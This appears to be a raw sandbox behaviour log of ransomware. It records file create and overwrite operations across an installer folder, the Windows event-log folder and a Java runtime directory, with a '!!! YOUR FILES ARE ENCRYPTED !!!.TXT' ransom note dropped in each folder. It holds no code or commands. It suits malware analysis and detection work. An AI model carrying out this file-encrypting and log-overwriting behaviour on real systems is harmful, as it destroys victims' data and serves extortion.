Create C:\588bce7c90097ed212\1053\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1053\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1053\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1055\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\1055\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\1055\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\2052\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\2052\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\2052\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\2070\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\2070\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\2070\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\3076\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\3076\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\3076\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\3082\eula.rtf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\3082\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\3082\LocalizedData.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Client\Parameterinfo.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Client\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\Client\UiInfo.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Extended\Parameterinfo.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Extended\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\Extended\UiInfo.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Print.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\588bce7c90097ed212\Graphics\Rotate1.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Rotate2.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Rotate3.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Rotate4.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Rotate5.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Rotate6.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Rotate7.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Rotate8.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Save.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\Setup.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\stop.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\SysReqMet.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\SysReqNotMet.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\588bce7c90097ed212\Graphics\warn.ico desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Application.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Logs\HardwareEvents.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Internet Explorer.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Key Management Service.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppLocker%4EXE and DLL.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppLocker%4MSI and Script.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppReadiness%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppReadiness%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-AppxPackaging%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-DeviceSetupManager%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-DeviceSetupManager%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Dhcp-Client%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-HotspotAuth%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-International%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Kernel-PnP%4Configuration.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Kernel-WHEA%4Errors.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Known Folders API Service.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-LiveId%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-MUI%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-MUI%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-NCSI%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Ntfs%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Logs\Microsoft-Windows-Ntfs%4WHC.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-SettingSync%4Debug.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-SettingSync%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-SmbClient%4Connectivity.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-SMBClient%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-SmbClient%4Security.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-SMBServer%4Audit.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-SMBServer%4Connectivity.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-SMBServer%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-SMBServer%4Security.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Store%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Logs\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\Logs\Microsoft-Windows-TWinUI%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-User Profile Service%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-UserPnp%4ActionCenter.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-UserPnp%4DeviceInstall.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Windows Defender%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Windows Defender%4WHC.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-Winlogon%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\Logs\Security.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Setup.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 1
Fn
Create C:\Logs\Setup.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 2
Fn
Create C:\Logs\System.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Logs\Windows PowerShell.evtx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\COPYRIGHT desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\LICENSE desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\README.txt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\release desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME-JAVAFX.txt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\THIRDPARTYLICENSEREADME.txt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\Welcome.html desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\bin\server\classes.jsa desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\bin\server\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\bin\server\Xusage.txt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\accessibility.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\calendars.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\charsets.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\classlist desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\content-types.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\currency.data desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\deploy.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.bfc desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\fontconfig.properties.src desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\hijrah-config-umalqura.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\javafx.properties desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\javaws.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\jce.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\jfr.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\jfxswt.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\jsse.jar desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\Java\jre1.8.0_144\lib\jvm.hprof.txt desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
